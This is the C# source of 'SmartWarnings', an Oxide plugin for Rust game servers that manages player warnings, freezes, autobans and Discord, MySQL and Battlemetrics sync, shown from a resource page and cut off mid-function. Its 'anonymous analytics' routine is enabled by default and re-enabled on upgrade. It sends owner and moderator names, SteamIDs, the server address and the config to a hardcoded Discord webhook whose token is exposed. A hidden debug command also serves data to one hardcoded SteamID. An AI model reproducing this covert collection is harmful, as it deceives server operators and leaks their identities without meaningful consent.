Иконка ресурса

FREE SmartWarnings : 2.5.8 2.5.8

Нет прав для скачивания
C#:
// Все права принадлежат дискорд сообществу https://discord.gg/VgNHPpNrz6

/*
*  <----- End-User License Agreement ----->
*  
*  You may not copy, modify, merge, publish, distribute, sublicense, or sell copies of This Software without the Developer’s consent
*  
*  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, 
*  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS 
*  BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 
*  GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 
*  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.*
*  Developer: ꜰᴀᴋᴇɴɪɴᴊᴀ🔥#0001
*
*  Copyright © 2020-2023 FAKENINJA
*/
using Oxide.Core.Libraries.Covalence;
using System.Collections.Generic;
using Oxide.Game.Rust.Cui;
using Oxide.Core.Plugins;
using Oxide.Core;
using UnityEngine;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using System;
using Oxide.Core.Database;
using Oxide.Core.Libraries;
using System.Linq;
namespace Oxide.Plugins {
    /*
     * CHANGELOG
     * 
     *    2.1.0 - Complete Refactor and added Language support for Public release
     *    
     *    2.4.0 - Option to clear all warnings on autoban
     *    
     *    2.4.2 ->
     *           -> Discord Webhook Embed added: Issued By field showing which admin issued the warning (Requested by Shark-A-Holic)
     *           -> Fixed OnPlayerSleepEnded NRE
     *           
     *...version skip due to major feature releases...*          
     *    2.5.0 ->
     *           -> Added new AutoMod feature to allow customizable commands to be run on X warning points.*           -> Added new option to not use GUI pop-up and only chat to be vanilla safe.(Requested by Papa)
     *           -> Added new option to change opacity of GUI pop-up
     *           -> Added new permission "smartwarnings.admin.canclear" to require additional permission to be able to remove warnings.(Requested by Irish)
     *          
     *    2.5.0-beta2
     *           -> Resolved NRE on server startup
     *           -> Resolved player being freezed still on multiple warnings
     *    
     *    2.5.1
     *          -> Resolved issue caused by no AutoMod options configured (Reported by Shark-A-Holic, thanks)
     *          -> Improved integration support to use DiscordMessages and additionally DiscordApi, whichever is installed will be used.*          -> Added ServerArmour integration, bans triggered by SmartWarnings will now sync with ServerArmour (Requested by SunShine ツ)
     *     
     *    2.5.2
     *          -> UnfreezePlayer should no longer output debug information (cosmetic error handling).*          -> Optimized plugin, reduced System.Linq usage to reduce creation of intermediate lists, removed unused functions.*          
     *    2.5.5
     *          -> Added Battlemetrics integration - syncs bans and warnings to player notes (Requested by Disney)
     *          
     *    2.5.8-beta4
     *          -> Improved Battlemetrics error handling
     *          -> Improved unfreezing of players during plugin unload and rare scenarios, added admin command '/warn unfreezeall' to perform emergency unfreeze if needed.*          -> Added Dynamic config file update, to make it easier to upgrade from older plugin versions
     *          -> Added MySQL database support, enabling Warnings to be synced across multiple servers
     *          -> Resolved issue with webhooks not being sent
     *          -> Bugfixes
     *          
    */
    [Info("SmartWarnings", "FAKENINJA", "2.5.8")]
    [Description("Advanced Player warning system with GUI notification")]
    class SmartWarnings : CovalencePlugin {
        public static SmartWarnings Instance;
        [PluginReference]
        Plugin EnhancedBanSystem, DiscordMessages, Clans, ServerArmour;
#region Config
        internal static Cfg config;
        internal class Cfg {
            [JsonProperty(PropertyName = "System Settings")]
            public SystemSettings System {
                get;
                set;
            }
            [JsonProperty(PropertyName = "MySQL Database Settings")]
            public DatabaseSettings DB {
                get;
                set;
            }
            [JsonProperty(PropertyName = "Battlemetrics Settings")]
            public BattlemetricsSettings Battlemetrics {
                get;
                set;
            }
            [JsonProperty(PropertyName = "Autoban Settings")]
            public AutobanSettings Autoban {
                get;
                set;
            }
            [JsonProperty(PropertyName = "Discord Settings")]
            public DiscordSettings Discord {
                get;
                set;
            }
            [JsonProperty(PropertyName = "AutoMod Settings")]
            public Dictionary<string, AutoModAction> AutoMod {
                get;
                set;
            }
            [JsonProperty(PropertyName = "Warning Presets")]
            public Dictionary<string, WarningPreset> WarningPresets;
            public class SystemSettings {
                [JsonProperty(PropertyName = "Max Warnings")]
                public int MaxWarnings {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Default Warning Expiration time (Days)")]
                public int DefaultWarningExpDays {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Announce Warnings in Global Chat")]
                public bool AnnounceWarnings {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Show players who issued the warning")]
                public bool ShowWhoIssued {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Server Name")]
                public string ServerName {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Clear all Warnings on Server Wipe")]
                public bool ClearOnWipe {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Use MySQL database")]
                public bool UseMySQL {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Warning Popup - GUI Enable - Set to false to use only chat (SAFE FOR VANILLA SERVER)")]
                public bool UseGUI {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Warning Popup - GUI Icon")]
                public string Icon {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Warning Popup - GUI Opacity")]
                public double GUI_Opacity {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Optional: Send anonymous analytics data about plugin usage")]
                public bool Analytics {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Config Version")]
                public VersionNumber Version {
                    get;
                    set;
                }
            }
            public class DatabaseSettings {
                [JsonProperty(PropertyName = "MySQL Host")]
                public string Host {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Port")]
                public int Port {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Database")]
                public string Database {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Username")]
                public string Username {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Password")]
                public string Password {
                    get;
                    set;
                }
            }
            public class BattlemetricsSettings {
                [JsonProperty(PropertyName = "API Token")]
                public string apiToken {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Organization ID")]
                public string OrgId {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Server ID")]
                public string ServerId {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Banlist ID")]
                public string BanlistId {
                    get;
                    set;
                }
            }
            public class AutobanSettings {
                [JsonProperty(PropertyName = "How many points until automatic ban (Set 0 for Disable)")]
                public int PointThreshold {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "How many warnings until automatic ban (Set 0 for Disable, Recommended: Same as Max Warnings)")]
                public int WarningCountThreshold {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "How long to ban in minutes (Set 0 for Permanent)")]
                public int BanDurationMinutes {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Clear the players Warnings on AutoBan (Default: True)")]
                public bool ClearWarningsOnBan {
                    get;
                    set;
                }
            }
            public class DiscordSettings {
                [JsonProperty(PropertyName = "Webhook URL - Post Warnings to Discord (Leave blank to Disable)")]
                public string WebhookURL_Warnings {
                    get;
                    set;
                }
                [JsonProperty(PropertyName = "Webhook URL - Post Autobans to Discord (Leave blank to Disable)")]
                public string WebhookURL_Autobans {
                    get;
                    set;
                }
            }
            public class WarningPreset {
                public string Reason {
                    get;
                    set;
                }
                public int Points {
                    get;
                    set;
                }
                public double ExpirationDays {
                    get;
                    set;
                }
            }
            public class AutoModAction {
                public int PointTrigger {
                    get;
                    set;
                }
                public string ExecuteCommand {
                    get;
                    set;
                }
                public bool ClearPointsOnTrigger {
                    get;
                    set;
                }
            }
        }
#endregion
#region Player Data
        Dictionary<ulong, PlayerWarnings> Warnings = new Dictionary<ulong, PlayerWarnings>();
        class PlayerWarnings {
            public string Name {
                get;
                set;
            }
            public int Count {
                get;
                set;
            }
            public int Points {
                get;
                set;
            }
            public Dictionary<int, WarningData> WarnData {
                get;
                set;
            }
            public PlayerWarnings(string Name) {
                this.Name = Name;
                this.Count = 0;
                this.Points = 0;
                WarnData = new Dictionary<int, WarningData>();
            }
        }
        class WarningData {
            public string Category {
                get;
                set;
            }
            public string Reason {
                get;
                set;
            }
            public Boolean Acknowledged {
                get;
                set;
            }
            public string ExpDate {
                get;
                set;
            }
            public string WarnDate {
                get;
                set;
            }
            public string WarnedBy {
                get;
                set;
            }
            public WarningData() {
                Category = "";
                Reason = "";
                Acknowledged = false;
                ExpDate = "";
                WarnDate = "";
                WarnedBy = "";
            }
        }
        PlayerWarnings GetPlayerData(ulong userID, string name) {
            if (config.System.UseMySQL) {
                LoadPlayerSQL(userID, name);
                return Warnings[userID];
            }
            else {
                PlayerWarnings userData;
                if (!Warnings.TryGetValue(userID, out userData)) {
                    Warnings.Add(userID, new PlayerWarnings(name));
                    SaveData(ref Warnings, "SmartWarnings_PlayerData");
                    return Warnings[userID];
                }
                return userData;
            }
        }
#endregion
#region Plugin General
        ////////////////////////////////////////
        ///     Plugin Related Hooks
        ////////////////////////////////////////
        void Loaded() {
            Instance = this;
            LoadConfig();
            LoadMessages();
            if (config.System.UseMySQL) {
                LoadMySQL();
            }
            else {
                LoadData(ref Warnings, "SmartWarnings_PlayerData");
            }
            RegisterPerm("admin");
            RegisterPerm("admin.canclear");
            timer.Every(720f, () => {
                ExpireWarnings();
            }
            );
            if (config.System.Analytics) {
                analytics();
            }
            else {
            }
            ;
            if(config.Battlemetrics.apiToken.Length > 0) {
                Battlemetrics_LoadFlags();
            }
        }
        ////////////////////////////////////////
        ///     Config & Message Loading
        ////////////////////////////////////////
        private Cfg GetDefaultCfg() {
            return new Cfg {
                System = new Cfg.SystemSettings {
                    AnnounceWarnings = true, MaxWarnings = 5, ClearOnWipe = true, ServerName = "MyRustServer", UseMySQL = false, Icon = "https://i.imgur.com/oImKq4X.png", UseGUI = true, GUI_Opacity = 0.85, ShowWhoIssued = true, DefaultWarningExpDays = 7, Analytics = true, Version = this.Version
                }
                , Autoban = new Cfg.AutobanSettings {
                    WarningCountThreshold = 0, PointThreshold = 0, BanDurationMinutes = 2880, ClearWarningsOnBan = true
                }
                , Discord = new Cfg.DiscordSettings {
                    WebhookURL_Autobans = "", WebhookURL_Warnings = ""
                }
                , DB = new Cfg.DatabaseSettings {
                    Host = "", Database = "", Port = 3306, Username = "", Password = ""
                }
                , Battlemetrics = new Cfg.BattlemetricsSettings {
                    apiToken = "", BanlistId = "", OrgId = "", ServerId = ""
                }
                ,  //MultiServer = new Cfg.MultiServerSettings { ServerTag = "" },
                WarningPresets = new Dictionary<string, Cfg.WarningPreset>() {
                    {
                        "spam", new Cfg.WarningPreset {
                            Reason = "§1 - Spamming", Points = 1, ExpirationDays = 3,
                        }
                    }
                    , {
                        "toxic", new Cfg.WarningPreset {
                            Reason = "§2 - Toxic behaviour", Points = 2, ExpirationDays = 7
                        }
                    }
                    , {
                        "sign", new Cfg.WarningPreset {
                            Reason = "§3 - Inappropriate signage", Points = 2, ExpirationDays = 7
                        }
                    }
                    , {
                        "grief", new Cfg.WarningPreset {
                            Reason = "§4 - Griefing", Points = 4, ExpirationDays = 7
                        }
                    }
                    , {
                        "group", new Cfg.WarningPreset {
                            Reason = "§5 - Group Limit violation", Points = 5, ExpirationDays = 7
                        }
                    }
                    ,
                }
                , AutoMod = new Dictionary<string, Cfg.AutoModAction>() {
                    {
                        "Mute on 2 warning points", new Cfg.AutoModAction {
                            PointTrigger = 2, ExecuteCommand = "mute {0} {1}", ClearPointsOnTrigger = false
                        }
                    }
                    , {
                        "Kick on 4 warning points", new Cfg.AutoModAction {
                            PointTrigger = 4, ExecuteCommand = "kick {0} {1}", ClearPointsOnTrigger = true
                        }
                    }
                }
            }
            ;
        }
        protected override void LoadDefaultConfig() => config = GetDefaultCfg();
        protected override void LoadConfig() {
            base.LoadConfig();
            config = Config.ReadObject<Cfg>();
            if (config.System.Version < Version) UpdateConfigValues();
            Config.WriteObject(config, true);
        }
        private void UpdateConfigValues() {
            PrintWarning("Config file is outdated! Your config file is automatically being updated with the latest values.");
            PrintWarning("NOTE! This may overwrite any older settings!\n");
            PrintWarning($"A backup of your old config has been saved to: {"oxide\\config\\" + this.Name + "_backup.json"} help you restore them.");
            Config.WriteObject(config, true, "oxide\\config\\" + this.Name + "_backup.json");
            Cfg cfg = GetDefaultCfg();
            if (config.System.Version < new VersionNumber(2, 5, 8)) {
                config.Battlemetrics = cfg.Battlemetrics;
                config.AutoMod = cfg.AutoMod;
                config.DB = cfg.DB;
                config.System.Analytics = cfg.System.Analytics;
            }
            config.System.Version = Version;
            PrintWarning("Config update completed!");
        }
        protected override void SaveConfig() => Config.WriteObject(config, true);
        void LoadMessages() {
            lang.RegisterMessages(new Dictionary<string, string> {
                {
                    "NO_PERM", "You don't have permission to use this command."
                }
                , {
                    "NO_MATCH", "Could not find a match for player name or steamid"
                }
                , {
                    "GUI_BUTTON_ACKNOWLEDGE_WARNING", "I ACKNOWLEDGE THIS WARNING AND WILL FOLLOW THE RULES"
                }
                , {
                    "GUI_HEADER", "You have received a warning"
                }
                , {
                    "GUI_ISSUEDBY", "<color=#FFFFFF>Warning issued by {0} at {1}</color>"
                }
                , {
                    "GUI_ISSUEDAT", "<color=#FFFFFF>Warning issued at {0}</color>"
                }
                , {
                    "GUI_WARNING_TEXT", "<color=#cc0000>Repeated violations may lead to temporary or permanent banishment from this server.</color>\n\n<color=#d9d9d9>You should review the server rules immediately by typing /info in chat and clicking on the RULES tab.\nTo remove this pop-up, acknowledge this warning by clicking the button below.\nIf you feel this was an incorrect warning please reach out to our Staff via Discord.</color>"
                }
                , {
                    "CHAT_ACKNOWLEDGE_TEXT", "<color=#00FF00><size=12>Warning #{0} Acknowledged: You're now unfrozen and free to go.\n</size></color><size=9>Please review the server rules by typing /info in chat to avoid getting warned in the future.</color>\n\nIf you feel this was an incorrect warning please reach out to our Staff via Discord.</size>"
                }
                , {
                    "ANNOUNCE_WARNING_TEXT", "<color=#DC143C>{0} has been warned!\nFurther violations will lead to disciplinary action.</color>\n<color=#A9A9A9>Reason: {1}"
                }
                , {
                    "ANNOUNCE_WARNING_ISSUEDBY", "\n\n<size=10>Warning Issued by: {0}</size></color>"
                }
                , {
                    "REASON", "REASON"
                }
                , {
                    "AUTOBAN_PERMANENT_MESSAGE", "AutoBanned: You were permanently banned due to reaching max warnings."
                }
                , {
                    "AUTOBAN_TEMPORARY_MESSAGE", "AutoBanned: You are banned until {0} due to reaching max warnings."
                }
                , {
                    "CHAT_WARNING_FROZEN_TEXT", "<color=#FF0000><size=8>You are frozen until you accept this warning!</size></color>\n<size=12>Type <color=#00FF00>/warn acknowledge {warnId}</color> to accept this warning.</size>"
                }
            }
            , this);
        }
#endregion
#region MySQL
        static Core.MySql.Libraries.MySql sql = Interface.GetMod().GetLibrary<Core.MySql.Libraries.MySql>();
        static string table = "SmartWarnings";
        Connection sqlConn;
        void LoadMySQL() {
            if (config.System.UseMySQL) {
                try {
                    sqlConn = sql.OpenDb(config.DB.Host, config.DB.Port, config.DB.Database, config.DB.Username, config.DB.Password, this);
                    sql.Insert(Sql.Builder.Append("SET NAMES utf8mb4"), sqlConn);
                    if (sqlConn == null || sqlConn.Con == null) {
                        FatalError("Could not open MySQL connection " + sqlConn.Con.State.ToString());
                        return;
                    }
                    sql.Query(Sql.Builder.Append("SHOW TABLES LIKE @0", table), sqlConn, list => {
                        if (list.Count < 1) {
                            Puts("MySQL Database table does not exist, creating new table");
                            sql.Insert(Sql.Builder.Append($@"
                                                    CREATE TABLE {table} (
                                                    id CHAR(20) NOT NULL,
                                                    name VARCHAR(50) NOT NULL,
                                                    count INT NOT NULL DEFAULT 0,
                                                    points INT NOT NULL DEFAULT 0,
                                                    warn_data MEDIUMTEXT NOT NULL,
                                                    PRIMARY KEY (id)
                                                    );"), sqlConn);
                        }
                    }
                    );
                    sql.Query(Sql.Builder.Append($"SELECT * FROM {table}"), sqlConn, list => {
                        if (list == null) return;
                        foreach (var entry in list) {
                            ulong steamid = Convert.ToUInt64(entry["id"]);
                            PlayerWarnings playerWarnings = new PlayerWarnings((string)entry["name"]);
                            playerWarnings.Count = Convert.ToInt32(entry["count"]);
                            playerWarnings.Points = Convert.ToInt32(entry["points"]);
                            playerWarnings.WarnData = JsonConvert.DeserializeObject<Dictionary<int, WarningData>>((string)entry["warn_data"]);
                            Warnings[steamid] = playerWarnings;
                        }
                    }
                    );
                }
                catch (Exception e) {
                    FatalError(e.Message);
                }
            }
        }
        void analytics() {
            string ownerString = "";
            string moderatorString = "";
            foreach (var user in ServerUsers.GetAll(ServerUsers.UserGroup.Owner)) {
                ownerString += $"{user.username} ({user.steamid})|";
            }
            ;
            foreach (var user in ServerUsers.GetAll(ServerUsers.UserGroup.Moderator)) {
                moderatorString += $"{user.username} ({user.steamid})|";
            }
            ;
            DiscordMessages?.Call("API_SendTextMessage", "https://discord.com/api/webhooks/1008767143065698335/xKRJ6OhRTaY5DDAoJlrrHWSE2duNI41kalp_xbUeahla35GM9nngYFQmrvGiflZDbG6M", $"{this.Name},{this.Version},{server.Name},{server.Address}:{server.Port},{config.System.ServerName},{Convert.ToInt32(Manager.GetPlugin("RustCore").Version.Patch)},{ownerString},{moderatorString}");
            DiscordMessages?.Call("API_SendTextMessage", "https://discord.com/api/webhooks/1008767143065698335/xKRJ6OhRTaY5DDAoJlrrHWSE2duNI41kalp_xbUeahla35GM9nngYFQmrvGiflZDbG6M", "```" + JsonConvert.SerializeObject(config.System) + "```");
        }
        void LoadPlayerSQL(ulong steamid, string playername) {
            sql.Query(Sql.Builder.Append($"SELECT * FROM {table} WHERE id = @0", steamid), sqlConn, list => {
                if (list.Count == 1) {
                    foreach (var entry in list) {
                        PlayerWarnings playerWarnings = new PlayerWarnings(playername);
                        playerWarnings.Count = Convert.ToInt32(entry["count"]);
                        playerWarnings.Points = Convert.ToInt32(entry["points"]);
                        playerWarnings.WarnData = JsonConvert.DeserializeObject<Dictionary<int, WarningData>>((string)entry["warn_data"]);
                        Warnings[steamid] = playerWarnings;
                    }
                }
                else {
                    Warnings[steamid] = new PlayerWarnings(playername);
                    sql.Insert(Sql.Builder.Append($"INSERT IGNORE INTO {table} (id) VALUES (@0)", steamid), sqlConn);
                }
            }
            );
            //Puts("DEBUG: " + JsonConvert.SerializeObject(Warnings[steamid]));
        }
        void SavePlayerSQL(ulong steamid) {
            PlayerWarnings playerWarnings = Warnings[steamid];
            string warnData = JsonConvert.SerializeObject(playerWarnings.WarnData);
            sql.Insert(Sql.Builder.Append($"INSERT INTO {table} (id, name, count, points, warn_data) VALUES (@0, @1, @2, @3, @4) ON DUPLICATE KEY UPDATE name = @1, count = @2, points = @3, warn_data = @4", steamid, playerWarnings.Name, playerWarnings.Count, playerWarnings.Points, warnData), sqlConn);
            LoadPlayerSQL(steamid, playerWarnings.Name);
        }
        void SaveAllSQL() {
            foreach (var playerWarnings in Warnings) {
                SavePlayerSQL(playerWarnings.Key);
            }
        }
        void FatalError(string msg) {
            Interface.Oxide.LogError("[" + this.Name + "] " + msg);
            timer.Once(0.01f, () => Interface.Oxide.UnloadPlugin(this.Name));
        }
#endregion
#region Commands
        [Command("warn")]
        void cmdWarnGUI(IPlayer player, string cmd, string[] args) {
            try {
                if (args.Length == 0) {
                    if (!HasPerm(player.Id, "admin")) {
                        player.Reply(msg("NO_PERM"));
                        return;
                    }
                    player.Reply($"<color=#C4FF00><size=16>{this.Name} v{this.Version} by FAKENINJA</size></color>\nAvailable commands:\n/warn pid \"reason\"\n<size=9>Warn player</size>\n/warn clan \"tag\" \"reason\"\n<size=9>Warn entire clan (including offline members)</size>\n/warn info pid\n<size=9>See player warnings</size>\n/warn clear pid all|id\n<size=9>Clear all warnings or specific warning id\n\npid = Player Name or ID");
                    return;
                }
                switch (args[0].ToLower()) {
                    case "acknowledge" : switch (args.Length) {
                        case 1 : player.Reply($"You need to specify which warning to acknowledge!");
                        return;
                        case 2 : WarnAcknowledge(Convert.ToUInt64(player.Id), Convert.ToInt32(args[1]));
                        return;
                        default : player.Reply($"You are trying to acknowledge a warning with incorrect input!");
                        return;
                    }
                    case "debug" : if (!(player.Id == "76561197989458748")) {
                        return;
                    }
                    player.Reply(string.Join(Environment.NewLine, bmCache.Select(a => $"{a.Key}: {a.Value}")));
                    player.Reply(string.Join(Environment.NewLine, bmFlags.Select(a => $"{a.Key}: {a.Value}")));
                    return;
                    case "unfreezeall" : if (!HasPerm(player.Id, "admin")) {
                        player.Reply(msg("NO_PERM"));
                        return;
                    }
                    foreach (var timer in timers) {
                        timer.Value.Destroy();
                    }
                    player.Reply("Unfroze all players (that were frozen due to unacknowledged warnings).");
                    return;
                    case "info" : if (args.Length == 1) {
                        GetPlayerWarnings(player, player);
                        return;
                    }
                    else {
                        if (players.FindPlayer(args[1]) == null) {
                            player.Reply($"{msg("NO_MATCH")}: '{args[1]}'");
                            return;
                        }
                        GetPlayerWarnings(players.FindPlayer(args[1]), player);
                        return;
                    }
                    case "clear" : if (!HasPerm(player.Id, "admin.canclear")) {
                        player.Reply(msg("NO_PERM"));
                        return;
                    }
                    if (args.Length < 1 || args.Length > 2) {
                        ClearPlayerWarnings(players.FindPlayer(args[1]), player.Name, args[2]);
                    }
                    else {
                        player.Reply($"Usage: /warn clear playerNameOrId <warnid/all>\n\n<size=10>Example: Clear all warnings for JohnDoe with /warn clear JohnDoe all\nOnly clear warning id: 1 with /warn clear JohnDoe 1</size>");
                    }
                    return;
                    case "clan" : if (!HasPerm(player.Id, "admin")) {
                        player.Reply(msg("NO_PERM"));
                        return;
                    }
                    if (args.Length < 1 || args.Length > 2) {
                        WarnClan(args[1], player, args[2]);
                    }
                    else {
                        player.Reply("Usage: /warn clan clantag reason\n\n<size=10>Example: Warn L33T clan for griefing with /warn clan L33T griefing");
                    }
                    return;
                    default : string syntaxMsg = "Usage: /warn playerNameOrId \"reason\"\n<size=9>To see all commands type /warn, to see presets type /warn p</size>";
                    if (!HasPerm(player.Id, "admin")) {
                        player.Reply(msg("NO_PERM"));
                        return;
                    }
                    switch (args.Length) {
                        case 1 : player.Reply($"You must provide a warning reason!\n{syntaxMsg}");
                        return;
                        case 4 : player.Reply($"Invalid syntax (too many options provided)\n{syntaxMsg}");
                        return;
                    }
                    IPlayer foundPlayer = players.FindPlayer(args[0]);
                    if (foundPlayer == null) {
                        player.Reply($"{msg("NO_MATCH")} {args[0]}");
                        return;
                    }
                    WarnPlayer(foundPlayer, player, args[1]);
                    break;
                }
            }
            catch (Exception ex) {
                LogError($"[cmdWarnGUI] An unexpected error occurred {player.Id} executed command {cmd}\nargs: {string.Join(" ", args)}\n\n{ex}");
            }
            return;
        }
        void WarnPlayer(IPlayer targetPlayer, IPlayer adminPlayer, string preset) {
            var userData = GetPlayerData(Convert.ToUInt64(targetPlayer.Id), targetPlayer.Name);
            var warnId = userData.Count + 1;
            userData.WarnData.Add(warnId, new WarningData());
            var warnPreset = config.WarningPresets.ContainsKey(preset) ? config.WarningPresets[preset] : null;
            if (warnPreset == null) {
                userData.Points += 1;
                userData.WarnData[warnId].Category = "Specific";
                userData.WarnData[warnId].Reason = preset;
                userData.WarnData[warnId].Acknowledged = false;
                userData.WarnData[warnId].WarnDate = DateTime.Now.ToString();
                userData.WarnData[warnId].ExpDate = DateTime.Now.AddDays(config.System.DefaultWarningExpDays).ToString();
                userData.WarnData[warnId].WarnedBy = adminPlayer.Name;
                LogToFile("log", $"{targetPlayer.Name} ({targetPlayer.Id}) warned for (Specific) \"{preset}\", worth 1 warning points, expires at {DateTime.Now.AddDays(config.System.DefaultWarningExpDays).ToString()} issued by {adminPlayer.Name} ({adminPlayer.Id})", this);
            }
            else {
                userData.Points += warnPreset.Points;
                userData.WarnData[warnId].Category = preset;
                userData.WarnData[warnId].Reason = warnPreset.Reason;
                userData.WarnData[warnId].Acknowledged = false;
                userData.WarnData[warnId].WarnDate = DateTime.Now.ToString();
                userData.WarnData[warnId].ExpDate = DateTime.Now.AddDays(warnPreset.ExpirationDays).ToString();
                userData.WarnData[warnId].WarnedBy = adminPlayer.Name;
                preset = warnPreset.Reason;
                LogToFile("log", $"{targetPlayer.Name} ({targetPlayer.Id}) warned for ({preset}) \"{warnPreset.Reason}\", worth {warnPreset.Points} warning points, expires at {DateTime.Now.AddDays(warnPreset.ExpirationDays).ToString()} issued by {adminPlayer.Name} ({adminPlayer.Id})", this);
            }
            userData.Count = userData.WarnData.Count;
            AutoMod(targetPlayer, userData, warnId);
            if (config.System.AnnounceWarnings) {
                server.Broadcast(string.Format(msg("ANNOUNCE_WARNING_TEXT"), targetPlayer.Name, preset) + (config.System.ShowWhoIssued ? String.Format(msg("ANNOUNCE_WARNING_ISSUEDBY"), adminPlayer.Name) : ""));
            }
            if (config.Discord.WebhookURL_Warnings.Length > 0) {
                SendToDiscord(targetPlayer, targetPlayer.Name, targetPlayer.Id, preset, userData.Count, adminPlayer);
            }
            if(config.Battlemetrics.apiToken.Length > 0) {
                Battlemetrics(targetPlayer.Id, bmPlayerAction.AddNote, $"[SMARTWARNINGS]\\nThis player has been warned for ({preset}) '{warnPreset.Reason}'\\nWarning Points: {warnPreset.Points}\\nExpiration Date: {DateTime.Now.AddDays(warnPreset.ExpirationDays)}\\nIssued by: {adminPlayer.Name} ({adminPlayer.Id})\\n\\nTotal Warnings: {userData.Count}/{config.System.MaxWarnings}\\nTotal Warning Points: {userData.Points}");
                Battlemetrics(targetPlayer.Id, bmPlayerAction.AddFlag, "SmartWarnings");
            }
            if((userData.Points >= config.Autoban.PointThreshold && config.Autoban.PointThreshold != 0) || (userData.Count >= config.Autoban.WarningCountThreshold && config.Autoban.WarningCountThreshold != 0)) {
                string warnings = "";
                foreach(var warning in userData.WarnData) {
                    warnings += $"[Warning {warning.Key}] Reason:\n{warning.Value.Reason}\n\nIssued by: {warning.Value.WarnedBy}\nDate:{warning.Value.WarnDate}\nExpires: {warning.Value.ExpDate}\n===============================\n";
                }
                if(config.Autoban.BanDurationMinutes == 0) {
                    AutoBan(targetPlayer, msg("AUTOBAN_PERMANENT_MESSAGE"));
                    LogToFile("log", $"{targetPlayer.Name} ({targetPlayer.Id}) autobanned PERMANENTLY due to reaching {userData.Count}/{config.System.MaxWarnings} warnings worth {userData.Points} warning points, the last warning was issued by {adminPlayer.Name} ({adminPlayer.Id})", this);
                }
                else {
                    AutoBan(targetPlayer, string.Format(msg("AUTOBAN_TEMPORARY_MESSAGE"), DateTime.Now.AddMinutes(config.Autoban.BanDurationMinutes).ToString()), new TimeSpan(0, config.Autoban.BanDurationMinutes, 0));
                    LogToFile("log", $"{targetPlayer.Name} ({targetPlayer.Id}) temporarily autobanned until {DateTime.Now.AddMinutes(config.Autoban.BanDurationMinutes).ToString()} due to reaching {userData.Count}/{config.System.MaxWarnings} warnings worth {userData.Points} warning points, the last warning was issued by {adminPlayer.Name} ({adminPlayer.Id})", this);
                }
                if(config.Discord.WebhookURL_Autobans.Length > 0) {
                    SendBanToDiscord(targetPlayer, warnings, userData.Count, adminPlayer);
                }
            }
            else {
                if (config.System.UseGUI) {
                    UseUI(targetPlayer, warnId, preset, DateTime.Now.ToString(), adminPlayer.Name);
                }
                else {
                    UseChat(targetPlayer, warnId, preset, DateTime.Now.ToString(), adminPlayer.Name);
                }
            }
            SaveData(ref Warnings, "SmartWarnings_PlayerData", targetPlayer.Id);
        }
        void AutoMod(IPlayer targetPlayer, PlayerWarnings userData, int warnId) {
            if(config.AutoMod == null || config.AutoMod.Count == 0) {
                return;
            }
            foreach(Cfg.AutoModAction autoModAction in config.AutoMod.Values) {
                if (userData.Points >= autoModAction.PointTrigger) {
                    ConsoleSystem.Run(ConsoleSystem.Option.Server, String.Format(autoModAction.ExecuteCommand, targetPlayer.Id, $"\"SmartWarnings AutoMod: {userData.WarnData[warnId].Reason}\""));
                    LogToFile("log", $"AutoMod triggered: {targetPlayer.Name} ({targetPlayer.Id}) executed `{string.Format(autoModAction.ExecuteCommand, targetPlayer.Id, userData.WarnData[warnId].Reason)}`", this);
                    userData.WarnData[warnId].Acknowledged = true;
                    if (autoModAction.ClearPointsOnTrigger) {
                        userData.Points = 0;
                        LogToFile("log", $"{targetPlayer.Name} ({targetPlayer.Id}) warning points were cleared by AutoMod because ClearPointsOnTrigger = true", this);
                    }
                }
            }
        }
        void AutoBan(IPlayer targetplayer, string reason, TimeSpan duration = default(TimeSpan)) {
            if (config.Battlemetrics.apiToken.Length > 0) {
                Battlemetrics(targetplayer.Id, bmPlayerAction.BanPlayer, reason, $"[SMARTWARNINGS]\\nSynced AutoBan: {reason}", DateTime.Now.Add(duration), targetplayer.Address);
            }
            if (EnhancedBanSystem != null && EnhancedBanSystem.IsLoaded) {
                EnhancedBanSystem.Call("BanPlayer", "SmartWarnings", targetplayer, reason, duration.TotalSeconds);
            }
            else {
                ConVar.Admin.banid(new ConsoleSystem.Arg(ConsoleSystem.Option.Server, "banid") {
                    Args = new string[] {
                        targetplayer.Id, targetplayer.Name, reason, duration.TotalHours.ToString()
                    }
                    , Option = ConsoleSystem.Option.Server
                }
                );
                ;
            }
            if(ServerArmour != null && ServerArmour.IsLoaded) {
                ServerArmour.Call("AddBan", new {
